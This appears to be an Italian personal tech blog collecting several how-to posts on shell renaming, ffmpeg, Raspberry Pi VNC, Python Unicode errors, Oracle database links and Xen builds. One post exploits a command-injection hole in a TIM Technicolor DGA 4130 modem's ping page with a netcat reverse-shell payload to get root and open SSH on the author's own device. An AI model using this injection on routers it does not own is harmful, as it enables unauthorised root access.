Rinominare File in Bulk usando una combinazione di comandi: ls, sed e mv

Ultimamente ho avuto la necessita’ di rinominare una serie di file in bulk.

Tali files erano all’interno di una cartella, la quale veniva usata dal demone samba per la condivisione nella mia rete.

Il problema che avevo era dovuto al fatto che samba mal supporta i file con i nomi troppo lunghi e per tale motivo, se si accede da remoto alla cartella, vediamo una sequenza di caratteri “strani” invece del loro nome originale

Supponiamo di avere un file del genere nella cartella usata da samba

XDCC|OceaN|NewS|26.Trailer.Film22.MD.HDCAM.x264-iND.mkv
XDCC|OceaN|NewS-Time44|26.Trailer.Film1.MD.HDRIP.x264-iND.avi

La stessa cartella, quando vista da remoto da un client samba appariva con nomi diversi come:

XOSHQU~F.mkv
XCKQJB~8.avi

 

Lo script e’ davvero semplice, ed usa una combinazione di tre comandi shell:

  • ls -> usato per scorrere la lista dei files nella cartella
  • sed -> usato per il replace del nome
  • xargs and mv -> usato per il rename effettivo del file

 

[code language=”bash”]
ls *| sed -e ‘p;s/[a-z;A-Z]*|[a-z;A-Z]*|[a-z;A-Z]*\([a-z;A-Z]*\|-[a-z;A-Z]*\)|[0-9]*.//g’ | xargs -n2 mv
[/code]

Se lanciato il comando precede avremo rinominato i file nella seguente maniera

Trailer.Film22.MD.HDCAM.x264-iND.mkv
Trailer.Film1.MD.HDRIP.x264-iND.avi

Permettendo a samba di mostrarli ai client remoti senza gli strani caratteri che abbiamo visto in precedenza.

Riferimenti:
http://www.oreilly.com/openbook/samba/book/ch05_04.html

Hacking/Unlocking Technicolor DGA 4130

Premessa

Sono passati due anni dal mio ultimo post nel blog. Ora mi ritrovo con questo editor bianco, non più familiare come lo era una volta, ma con la stessa necessità che avevo quando ho iniziato questo blog: appuntarmi quello che facevo per poterlo ripetere in futuro.

Finalmente la Fibra è arrivata anche da me (ormai non ci speravo più) sfiorando addirittura la velocità dei 200Mbps (sono di poco al di sotto).

Il modem è quello “nero” della TIM

TIM Modem Fibra 200

Ovviamente il SW web a corredo del modem è assai limitato e permette una misera customizzazione del modem. Per la maggior parte delle persone non è un problema visto che meno cose si possono modificare e meno problemi si creano, ma se siete arrivati su questa pagina web… non fate parte di quella categoria.

Da subito ho sentito la necessità di instradare le connessioni verso le mie subnet locali tramite il modem TIM. Questo perchè il mio vecchio switch/router non è Gigabit… e non volevo limitare la connessione della mia sottorete ai solo 100 Mbps :P.

In attesa che arrivi il nuovo switch/router gigabit (https://mikrotik.com/product/RB750Gr3) volevo poter modificare il modem TIM secondo le mie esigenze: instradare i pacchetti dei client collegati al modem sulle mie subnet.

 

Hacking DGA 4130

 

Per fortuna la versione del modem che ho:

[code data-mce-type=”bookmark” style=”display: inline-block; width: 0px; overflow: hidden; line-height: 0;” language=”class=”]

Release: Aqua (16.3)
Version: 16.3.7636-2781008-20170411105953-718b590506a915e24be58946f4755c0c617d9c8d

[/code]

ha una grossa falla di sicurezza che permette di eseguire qualsiasi comando con privilegi di amministratore tramite l’interfaccia WEB.

Guadagnare accesso root

Come primo step ho mettere in ascolto il mio MAC sulla porta 10001

[code language=”bash”]

$ nc -l 10001

[/code]

oppure tramite una macchina Linux con il comando

# nc -lvvp 10001

 

Poi dal browser digitiamo l’indirizzo IP del modem ed andiamo nella sezione Diagnostica -> Ping&Trace

 

e nella shermata successiva inserire il seguente comando nella sezione IP Address

[code language=”bash”]

:::::::;nc 192.168.2.92 10001 -e /bin/sh

[/code]

 

e poi premere Invia Richiesta Ping.

A questo punto, se tutto è andato bene, abbiamo stabilito una connessione tra il modem e la macchina Linux/Mac (quella in cui ci eravamo messi in ascolto) e da cui possiamo eseguire qualsiasi comando come root

La prima cosa che ho fatto è stata quella di cambiare la password di root tramite il seguente comando

[code language=”bash”]

passwd
Changing password for root
New password:
Retype password:
Password for root changed by root

[/code]

 

Avvio demone dropbear

Ora che abbiamo accesso come root  e che abbiamo cambiato la password possiamo fare praticamente di tutto. Il secondo step è stato quello di abilitare il demone dropbear per poter avere sempre un accesso SSH al modem.

Dobbiamo modificare il seguente file /etc/config/dropbear

[code language=”bash”]

config dropbear
option enable ‘0’
option PasswordAuth ‘off’
option RootPasswordAuth ‘on’
option Port ’22’

[/code]

dalla shell Linux/MAC diamo i seguenti comandi

[code language=”bash”]

sed -i ‘2 s/0/1/’ /etc/config/dropbear
sed -i ‘3,4 s/off/on/g’ /etc/config/dropbear
[/code]

Altro non fanno che:

  1. Abilitare il demone dropbear all’avvio
  2. Permettere l’accesso da root tramite inserimento della password

Se le modifiche sono andate a buon fine, Il file dovrà essere uguale a quello che vi mostro qui sotto

[code language=”bash”]

root@modemtim:~# cat /etc/config/dropbear
config dropbear
option enable ‘1’
option PasswordAuth ‘on’
option RootPasswordAuth ‘on’
option Port ’22’
# option BannerFile ‘/etc/banner’

[/code]

Ora come ultimo step c’è quello di modificare il file /etc/password aggiungendo una valida command shell.

Il file prima della modifica si presenta così

[code language=”bash”]

root:x:0:0:root:/root:/bin/false
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh

[/code]

La modifica consiste nello specificare /bin/ash come shell command e lo andiamo a fare con il seguente comando

[code language=”bash”]
sed -i ‘1 s/false/ash/’ /etc/config/dropbear
[/code]

Dopo la modifica avremo il file correttamente settato e pronti per accedere tramite ssh al nostro modem router TIM

[code language=”bash”]
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh
[/code]

Arrivati a questo punto abbiamo finito, il modem è in ascolto sulla porta 22 e pronto per accettare connessioni SSH.

 

Modifica dell regole di route e del firewall

Tutto il lavoro fatto in precedenza era necessario per poter avere una shell bash e poi cercare di capire come poter modificare le regole del firewall per i miei scopi.

Avevo la necessità di far vedere le mie subnet dai client collegati direttamente al modem, per tale motivo ho dovuto aggiungere un paio di comandi al file /etc/rc.local  (lo so, non è il metodo più elegante per farlo)

[code language=”bash”]

root@modemtim:~# cat /etc/rc.local
route add -net 192.168.1.0/24 gateway 192.168.2.1
route add -net 192.168.10.0/24 gateway 192.168.2.1
route add -net 192.168.20.0/24 gateway 192.168.2.1
iptables -I FORWARD -i br-lan -j ACCEPT

[/code]

  1. Con il comando route add ho semplicemente detto al modem che per instradare i pacchetti verso le sottoreti 192.168.1.0-192.168.10.0-192.168.20.0 doveva farlo tramite il mio proxy server (192.168.2.1)
  2. Con Il comando iptables ho semplicemente permesso ai client del modem ti poter raggiungere le subnet senza essere bloccati

 

 

Reference:
https://www.ilpuntotecnicoeadsl.com/il-nuovo-router-tim-per-la-200-mega-il-technicolor-dga-4130-ag-evo/
https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/

Creazione Video Da Sequenza di Immagini Timelapse

Già mi ero cimentato qualche volta con la creazione di un video tramite sequenza di immagini timelapse, usando dei tool che in automatico mi creavano il flusso video da una sequenza di immagini.

Questa volta, da buon smanettone :P, ho voluto utilizzare solo la potenza della shell di Linux e strumenti OpenSource come ffmpeg.

L’hardware a disposizione non è stato uno dei migliori. Ho dovuto utilizzare il mio vecchio Asus EeePC 701 dotato di una misera telecamera da  640×480 px … e tanta pazienza :D.

1) Cattura Immagini Timelapse

Per la cattura delle immagini dalla videocamera ho usato il tool sviluppato da Ubuntu: cheese  e l’utility scrot per quanto riguarda la cattura delle immagine tramite screenshot.

Il mio script non fa altro che lanciare cheese in background a tutto schermo e catturare le immagini ogni 5 sec via scrot. So che esistono molti altri metodi per catturare le immagini direttamente dalla fotocamera senza effettuare lo screenshot, ma nel mio caso avevo bisogno di mostrare anche al pubblico le immagini che stavo riprendendo.

[sourcecode language=”bash”]
#!/bin/sh

/usr/bin/cheese &

while true
do
scrot /media/photo/’%H%M%S.png’
sleep 5
done

[/sourcecode]

2) Creazione Flusso Video

Se tutto è andato nel verso giusto avremo le nostre .png pronte per essere unite tra loro per creare il flusso video vero e proprio. FFMPEG è proprio il tool che fa a caso nostro, infatti basta dare questo piccolissimo comando per avere il video finale.

[sourcecode language=”bash”]
$ ./ffmpeg -i ../media/photo/%*.png -r 15 -vb 4096k out.mp4
[/sourcecode]

Dove:

  •  -i ../media/photo/%*.png  indica la sorgente (nel nostro caso le immagini) da cui assemblare il video
  •  -r 15 indica il frame rate che vogliamo utilizzare
  • -vb 4096k  indica il birate da utilizzare

Nel caso volessimo aggiungere anche una base musicale (non guasta mai) basta inserire un altro piccolo flag:

[sourcecode language=”bash”]
$./ffmpeg -i out.mp4 -i my_music.mp3 -vcodec codec -acodec codec output_video_with_music.avi -newaudio
[/sourcecode]

Questo è il mio timelapse effettuato durante la Sagra del Pecorino di Filiano 2013. Buona visione!

Raspberry Pi: Eseguire vncserver all’avvio

Raspberry Pi

Finalmente è arrivato a casa il Raspberry Pi. Settimane di attesa per poter smanettare un pò vicino a questo fantastico “giocattolino”.

Assieme a mio fratello abbiamo cercato di installare subito vncserver, ma le soluzioni che si trovano online : running-vncserver-at-startup , hanno bisogno dell’avvio del server grafico per poter lanciare correttamente il demone di vncserver.

Per ovvirare a questa limitazione, la mia soluzione avvia il demone di vncserver tramite lo script di avvio: /etc/rc.local 

[sourcecode language=”bash”]
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
printf "My IP address is %s\n" "$_IP"
fi

#Start Vnc Server
export USER=pi
vncserver :1

exit 0

[/sourcecode]

Prima di lanciare il comando di avvio del server, ho dovuto esportare la variabile globale USER altrimenti il demone non riusciva a leggere correttamente i file di configurazione che avevo editato in /home/pi/.vnc e mi dava il seguente errore:

"Starting vncserver: Starting VNC server: 3: root vncserver: The USER
environments variable is not set"

Al primo avvio vi chiederà di inserire la password di accesso, poi la setterà in automatico ad ogni riavvio.

Disabilitare il Write Caching su Mac OS X: Safe Remove USB Device

remove-USB-safely

Posso staccare la penna USB senza forzare la rimozione?

Quante volte ho sentito questa domanda, la maggior parte della gente toglie la propria penna USB dal pc senza “smontarla” secondo la procedura, sicuri che non si danneggi nulla. Ma e’ davvero “sicuro” farlo??

Bhe se avete un pc con Windows 7 e versioni successive, e’ abbastanza sicuro. Windows disabilita il write caching sulle periferiche che riconosce come removable , consapevoli del fatto che la maggior parte dei sui utilizzatori non smonta mai il proprio device USB.

A questo punto, se sei arrivato a leggere fino a qui e non sei uno esperto/smanettone ti sarai chiesto: Ma cosa e’ il write-caching?

E’ la policy che utilizza la maggior parte dei Sistemi Operativi quando si deve scrivere un dato in una memoria dati esterna, magari collegata tramite USB. Tramite tale tecnica, non vengono copiati immediatamente i dati dal vostro pc sulla memoria (soprattutto se sono dati di piccoli dimensioni), ma vengono messe in una cache in attesa che ci siano altri dati da scrivere in modo da aumentare le performance. Infatti, la scrittura sui device esterni avviene molto piu’ velocemente per file di dimensioni grandi e non con file piccoli.

Per tale motivo, molti Sistemi Operativi la adottano; per aumentare le performance… costringendoci a “smontare” la chiavetta e “forzare” la scrittura dei dati che sono ancora in cache.

Mac OS X adotta la stessa politica di Windows?

Bhe se avete un Mac, vi tocca smontarla. Infatti il Sistema Operativo di casa Cupertino, non disabilita il write-caching come Windows.

Ma è possibile forzare in qualche modo tale policy e dire a Mac OS X di non usare il write-caching. Come farlo?

Il miglior modo per farlo è con il comando mount tramite la shell dei comandi:

[sourcecode language=”bash”]
mount -o noasync /dev/diskls1
[/sourcecode]

Dove diskls1 è il nome del device che vogliamo montare.

Il comando vale anche per molte distribuzioni Linux.

Ora potete rimuovere la vostra penna USB senza doverla smontare 😀

Reference:

http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man8/mount.8.html

Facebook Hacker Cup Qualification 2013: le mie soluzioni in Python

Hacker Cup Facebook

Quest’anno sono riuscito a partecipare (me ne sono ricordato :P) all’Hacker Cup che Facebook organizza ogni anno. I problemi per le qualificazioni erano 3 e di seguito vi posto le mie soluzioni scritte in python.

Il terzo problema (Find the min) non e’ difficile, sono riuscito a risolverlo ma il tempo che ci impiega il mio algoritmo e’ molto al di sopra di quello che mette a disposizione Facebook. In realta’ bastava guardare un po output della lista che utilizzavo per memorizzare i valori per capire che da un certo punto in poi si ripeteva ( per cui non serviva tutta la potenza di calcolo che avevo immaginato 😛 ). In poche parole per gli indici della liste pari a 2k+1, i valori si ripetevano… me ne sono accorto troppo tardi ed ho finito solo i primi due step 😀

1 – Beautiful strings  (20 points)

beautiful_stringstxt.txt

outputFile.txt

[sourcecode language=”python”]import sys
import math
from collections import Counter

in_file = open(sys.argv[1],"r")
exp = in_file.read()
in_file.close()

a= exp.split("\n")

b=[]
c=[]

values=[]

d={}
u={}

for i in range(1, len(a)-1) :

b.append(a[i].lower()[::-1])

flavio=1
for i in b:
d={}

values=[]
num=26
find=1
numSum=0
for k in range(0,len(i)):

#d[str(i[k])] = i.count(i[k])
if(str(i[k]).isalpha()):# or str(i[k])==’!’):
d[str(i[k])] = i.count(i[k])

for k in range(0,len(i)):
if (str(i[k]) in d):
# print i[k] + " num "+ str(num) + " # " + str(d[i[k]])
numSum += num*d[i[k]]
values.append(d[i[k]])
del d[i[k]]
num -=1

values_sorted= sorted(values, reverse=True)

num=26
numSum =0
for item in range(len(values_sorted)):

numSum += num * values_sorted[item]
num -=1
print "Case #" + str(flavio)+ ": " +str(numSum)
flavio +=1
[/sourcecode]

2 – Balanced Smileys  (35 points)

balanced_smileystxt.txt

outputBalanced.txt

[sourcecode language=”python”]import sys
import math
from collections import Counter
import re

in_file = open(sys.argv[1],"r")
exp = in_file.read()
in_file.close()

b=[]
c=[]

values=[]

d={}
u={}

for i in range(1, len(a)-1) :

b.append(a[i].lower())

replacements = {":(",":)"}

for i in range(0,len(b)) :
#b[i]= b[i].replace(

b[i]= re.sub(r’\([^)]*\)’, "", b[i])

b[i]= b[i].replace(‘:(‘,”)
b[i]= b[i].replace(‘:)’,”)

def isBalanced(strInput):
"""Validate if an input string is having balanced bracket pairs
this includes bracket ordering. i.e a round bracket must be closed
by a round bracket. Emtpy strings are treated as balanced."""
#if strInput:
# list of all bracket kinds, in paired tuples
brackets = [ (‘(‘,’)’), (‘[‘,’]’), (‘{‘,’}’)]
# define fake constants – python does not support the concept of constants
kStart = 0
kEnd = 1
# internal stack used to push and pop brakets in the input string
stack = []

for char in strInput:
for bracketPair in brackets:
if char == bracketPair[kStart]:
stack.append(char)
elif char == bracketPair[kEnd] and len(stack) > 0 and stack.pop() != bracketPair[kStart]:
return False

if len(stack) == 0:
return True

#return False

flavio=1
for i in range(0,len(b)) :
if(isBalanced(b[i])):
print "Case #" + str(flavio) + ": YES"
else:
print "Case #" + str(flavio) + ": NO"

flavio +=1

[/sourcecode]

3 – Find the Min  (45 points)

find_the_mintxt.txt

outputFindTheMin.txt

[sourcecode language=”python”]import os, sys

f = open(sys.argv[1], ‘r’)

T = int(f.readline())

def next(ary, start):
j = start
l = len(ary)
ret = start – 1
while j < l and ary[j]:
ret = j
j += 1
return ret

for t in range(T):
n, k = map(int, f.readline().strip().split(‘ ‘))
a, b, c, r = map(int, f.readline().strip().split(‘ ‘))

m = [0] * (4 * k)
s = [0] * (k+1)
m[0] = a
if m[0] <= k:
s[m[0]] = 1
for i in xrange(1, k):
m[i] = (b * m[i-1] + c) % r
if m[i] < k+1:
s[m[i]] += 1

p = next(s, 0)
m[k] = p + 1
p = next(s, p+2)

for i in xrange(k+1, n):
if m[i-k-1] > p or s[m[i-k-1]] > 1:
m[i] = p + 1
if m[i-k-1] <= k:
s[m[i-k-1]] -= 1
s[m[i]] += 1
p = next(s, p+2)
else:
m[i] = m[i-k-1]
if p == k:
break

if p != k:
print ‘Case #%d: %d’ % (t+1, m[n-1])
else:
print ‘Case #%d: %d’ % (t+1, m[i-k + (n-i+k+k) % (k+1)])
[/sourcecode]

Riferimenti:

https://www.facebook.com/hackercup/problems.php?round=185564241586420

Correct Solution Find The Min

http://facebook.stackoverflow.com/questions/14536384/python-too-slow-of-large-inputs

 

GitHub

https://github.com/flaviopace/FacebookHackerCupQualification2013

 

Formattare Disco FAT32 con Mac OS X

Per gli amanti della Command Shell, eccovi il comando per poter formattare un qualsiasi disco utilizzando il File System FAT32 , ma allo stesso modo si potrebbe usare il FAT16 o addirittura il FAT12 ( basta specificare il giusto flag )

[sourcecode language=”bash”]
# newfs_msdos -F 32 /dev/disk2
[/sourcecode]

Python: UnicodeEncodeError: ‘ascii’ codec can’t encode character u’\u20ac’

Chiunque abbia fatto un minimo di parsing HTML tramite Python, ha incontrato almeno una volta questo fatidico errore (almeno lo spero, altrimenti sono l’unico pseudo smanettone ad averlo avuto 😛 ), soprattutto se il parsing e’ stato effettuato su pagine web in cui la valuta e’ l’Euro, dato che \u20ac rappresenta il simbolo “” (dannato Euro, anche nel mondo dell’informatica ci da’ problemi).

Il problema deriva avviene quando Python cerca di codificare il simbolo  € con un carattere ASCII.

Codifica?? Uhm?? se sei confuso come me… continua a leggere 😀

Prima di continuare facciamo un piccolo ricapitolazione di “Fondamento di Informatica”…la cosa piu’ importante da sapere e’ che: l’oggetto str in Python memorizza il suo valore come bytes, cioe’ con una sequenza di 8-bit, a.k.a string. Per questo motivo ogni carattere ASCII viene codificato in 8-bit, questo vuol dire che abbiamo a disposizione 0-255 rappresentazioni diverse… ma questo non e’ sufficiente per rappresentare i caratteri Russi, Arabi, Giapponessi… ed il nostro famoso simbolo dell’euro.

Per superare questa limitazione, Python usa unicode che memorizza il carattere con 16-bit o 32-bit dandoci la possibilita’ di rappresentare qualsiasi simbolo in qualsiasi linguaggio.

Voi direste.. Evviva! basta usare l’unicode e risolvo il problema, giusto? NO, non puoi…. ci mancherebbe che il mondo dell’informatica sia cosi’ logico e “clean” 😀

In particolare, non si puo scrivere su un file usando l’unicode, perche’ il file vuole una stringa che sia rappresentata da 8-bit. Dato che Python e’ molto “smart” cerchera’ in automatico di codificare/uniformare il carattere in unicode per la scrittura su file (o qualsiasi altro stream, come la shell), ma ahime’ c’e’ un problema… vediamo meglio con un esempio.

[sourcecode language=”python”]
>>> price_info = u’the price is \u20ac 5′
>>> type(price_info)
<type ‘unicode’>
>>> f = open(‘priceinfo.txt’,’wb’)
>>> f.write(price_info)
Traceback (most recent call last):
File "", line 1, in ?
UnicodeEncodeError: ‘ascii’ codec can’t encode character u’\u20ac’ in position 9: ordinal not in range(128)
>>>
[/sourcecode]

What happened?? Quando Python cerca di scrivere nel file “the price is € 5”, egli cerca di trasformare il valore unicode ‘\u20ac‘ in un carattere ASCII ad 8-bit… ma prima abbiamo detto che ASCII non contiene il carattere in questione… per cui… mi stai seguendo?? 😀

La soluzione e’ semplice (dopo che ho passato almeno una nottata su stackoverflow 😛 ):

[sourcecode language=”python”]
>>> price_info_enc = price_info.encode(‘utf-8’) # >> price_info_enc
‘it costs \xe2\x82\xac 5’
>>> type(price_info_enc)
<type ‘str’>
>>> f.write(price_info_enc)
>>> f.close()
[/sourcecode]

Semplice!! abbiamo codificato l’unicode tramite ‘utf-8’, il quale usa una sequenza di 3 caratteri ‘\xe2\x82\xac‘ per rappresentare il simbolo dell’Euro , in questo modo possiamo passare facilmente da ‘utf-8′ ad ASCII.

Ovviamente nel caso volessimo leggere il simbolo al contrario ( cioe’ vedere sullo schermo il simbolo dell’euro) dovremmo procedere con la decodifica dei tre caratteri in ‘utf-8′ e poi effettuare il print 😉

Ma c’e’ davvero gente che legge i miei post??? Mmmm ne dubito… ma come sempre, questo post mi servira’ da qui ad una settimana, visto che la mia memoria e’ scarsa e mi capitera’ di nuovo di imbattermi in questo problema… spero almeno di ricordarmi di aver scritto qualcosa sull’argomento 😛

Oracle: Creazione di un Database Link e di un Synonyms

Uno dei motivi per cui ho iniziato ad interessarmi al Database sviluppato da Oracle, è la sua semplicità nell’accesso agli schemi ed alle tabelle su sistemi distribuiti.

Vediamo subito un immagine che spero ci chiarirà subito lo scopo di questo articolo ( almeno spero :P).

Supponiamo di avere due database Oracle 11g, chiamati nel mio caso ( mi riferisco all’hostname ):

  1. oracle_dbschool
  2. oracle_db1
Lo scopo è quello di fare una partizione funzionale del database ( come potete vedere dal diagramma E-R), cioè suddividere le mie tabelle su due database fisici distinti in modo da ripartire il carico computazionale. Vi rimando al mio primo articolo sulla creazione manuale di un Database Oracle nel caso ne aveste bisogno.
Su oracle_dbschool avrò le tabelle: “utente”, “familiare”, “insegnamento” e “partecipazione”
Su oracle_db1 avrò solamente la tabella “bacheca”
Lo scopo del Database Link e della Synonyms è quello di rendere trasparente l’accesso alla tabella “bacheca” da parte di un utente che ha accesso solo al database oracle_dbschool ( database Master)
Dalla figura spero che lo scopo dell’articolo sia più chiaro, l’utente flavio ha accesso solo a oracle_dbschool, e da esso accede alla tabella “bacheca” che in realtà è  presente su un altro database oracle, il tutto avviene in modo trasparente rispetto all’utente, in quanto viene nascosto dal nodo Master ( oracle_dbschool ) il fatto che la tabella è distribuita.
Dopo questo piccolo preambolo vediamo i vari passi che ho eseguito per far si che la cosa funzionasse… decentemente 😀

I) Modifica di tnsnames.ora

Per prima cosa dobbiamo specificare gli hostname e gli indirizzi IP a loro associati, in modo tale da permettere loro di comunicare. Il file che andremo a modificare su entrambi i database è chiamato tnsnames.ora ed è possibile trovarlo nell path:  $ORACLE_HOME/network/admin

In oracle_dbschool:

[sourcecode language=”bash”]

unicondor@oracle_dbschool:~$ cat $ORACLE_HOME/network/admin/tnsnames.ora

REMOTE_DB =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.103)(PORT = 1521))
(CONNECT_DATA =
(SERVICE_NAME = db1)
)
)
[/sourcecode]

in questo caso ho specificato su oracle_dbschool che oracle_db1 ha un Database di nome db1 all’indirizzo 192.168.1.103 ed è in ascolto sulla porta 1521.

II) Creazione del Database Link

Il Database Link e’ un mezzo molto potente che Oracle ci mette a disposizione per accedere/inserire/cancellare  un oggetto su un altro database, per di piu’ tale database non deve per forza essere Oracle ma puo’ essere qualsiasi altro database ( Ex. mysql ).

Tramite l’utility sqlplus su oracle_dbschool

[sourcecode language=”bash”]
SQL> create public database link remote_db connect to flavio identified by flavio using ‘remote_db’;
Database link created.
[/sourcecode]

grazie a questo semplice comando, stiamo dicendo al nostro database (oracle_dbschool) di creare un link simbolico ad oracle_db1, e tale link sara’ chiamato “remote_db”.

ora potremmo effettuare le query sulle tabelle di oracle_db1 direttamente da oracle_dbschool . Supposto che tu oracle_db1 abbiamo una tabella di nome “t1″:

In oracle_dbschool:

[sourcecode language=”bash”]
SQL> select * from t1@remote_db;

A
———-
3
1
2
[/sourcecode]

III) Creazione di un Synonyms

Potremmo fermarci anche a questo punto, ma essendo dei cinici possiamo spingerci oltre ed usare anche i Synonyms 😛

Lo scopo dei Synonyms e’ quello di usare un nome alternativo per l’accesso a tabelle, schemi ecc.. che possono risiedere anche su database remote ( come nel nostro caso).

In oracle_dbschool:

[sourcecode language=”bash”]
SQL> create public synonym t1 for t1@remote_db;

Synonym created.

[/sourcecode]

Abbiamo creato un alias chiamato “t1” per la tabella “t1” che era presente sul database remoto oracle_db1 e che in precedenza abbiamo creato un Database Link chiamato “remote_db“. Spero sia tutto chiaro… nonostante la mia intrinseca mal predisposizione all’italiano 😛

Tramite il Synonyms possiamo eseguire la query della tabella t1 come se fosse fisicamente presente sul database oracle_dbschool ( in realta’ e’ presente solo su oracle_db1).

Esempio su oracle_dbschool:

[sourcecode language=”bash”]
SQL> select * from t1;

A
———-
3
1
2

SQL> insert into t1 values(30);
SQL> commit;

[/sourcecode]

In questo caso, dopo aver fatto una select, abbiamo effettuato anche un inserimento nella tabella.. il tutto come se fosse fisicamente presente nel Db.
Per gli approfondimenti, vi rimando alle guide ufficiali che potete trovare sul sito di Oracle che sono molto piu’ complete e chiare dei miei articoli 😀

Solving Problem Installing xen-4.1.2 on CentOS-6.2

Little Tips and Tricks while installing ( make world ) xen-4.1.2 on CentOS-6.2

Problem

[sourcecode language=”bash”]
Checking check_uuid_devel:
*** check_uuid_devel FAILED: missing uuid headers (package uuid-dev)
Checking check_x11_devel: OK
Checking check_xgettext: OK
Checking check_xml2: unused, OK
Checking check_zlib_devel: OK
Checking check_zlib_lib: OK

[/sourcecode]

Solution

[sourcecode language=”bash”]
# yum install libuuid-devel
[/sourcecode]

Problem

[sourcecode language=”bash”]
make[3]: Entering directory `/home/ashwin/Project_21_12_2010/xen-4.0.1/tools/firmware’Require dev86 rpm or bin86 & bcc debs version >= 0.16.14 to build firmware!
(visit <a href="http://www.debath.co.uk/dev86/" target="_blank">http://www.debath.co.uk/dev86/</a> for more information)

make[3]: *** [all] Error 1
[/sourcecode]

Solution

[sourcecode language=”bash”]
# yum install dev86
[/sourcecode]

Problem

[sourcecode language=”bash”]
ACPI ASL compiler (iasl) is needed
Download and install Intel ACPI CA from
http://acpica.org/downloads/

make[9]: *** [iasl] Error 1
make[9]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware/hvmloader/acpi’
make[8]: *** [subdir-all-acpi] Error 2
make[8]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware/hvmloader’
make[7]: *** [subdirs-all] Error 2
make[7]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware/hvmloader’
make[6]: *** [subdir-all-hvmloader] Error 2
make[6]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware’
make[5]: *** [subdirs-all] Error 2
make[5]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware’
make[4]: *** [all] Error 2
make[4]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools/firmware’
make[3]: *** [subdir-install-firmware] Error 2
make[3]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools’
make[2]: *** [subdirs-install] Error 2
make[2]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2/tools’
make[1]: *** [install-tools] Error 2
make[1]: Leaving directory `/home/unicondor/Tesi/xen-4.1.2′
make: *** [world] Error 2
[/sourcecode]

Solution

[sourcecode language=”bash”]
# wget http://acpica.org/download/acpica-unix-20120320.tar.gz
# tar -zxvf acpica-unix-20120320.tar.gz
# cd acpica-unix-20120320/source/compiler/
# make
# make install
[/sourcecode]

Problem

[sourcecode language=”bash”]
xen/lowlevel/xc/xc.c:7:20: error: Python.h: No such file or directory
xen/lowlevel/xc/xc.c:39: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:42: error: expected specifier-qualifier-list before ‘PyObject_HEAD’
xen/lowlevel/xc/xc.c:47: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:50: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:89: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:107: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:155: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
xen/lowlevel/xc/xc.c:169: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token
[/sourcecode]

Solution

[sourcecode language=”bash”]
# yum install python-devel
[/sourcecode]

Problem

[sourcecode language=”bash”]
WARNING: `makeinfo’ is missing on your system. You should only need it if
you modified a `.texi’ or `.texinfo’ file, or any other file
indirectly affecting the aspect of the manual. The spurious
call might also be the consequence of using a buggy `make’ (AIX,
DU, IRIX). You might want to install the `Texinfo’ package or
the `GNU make’ package. Grab either from any GNU archive site.
[/sourcecode]

Solution

[sourcecode language=”bash”]
# yum install texinfo
[/sourcecode]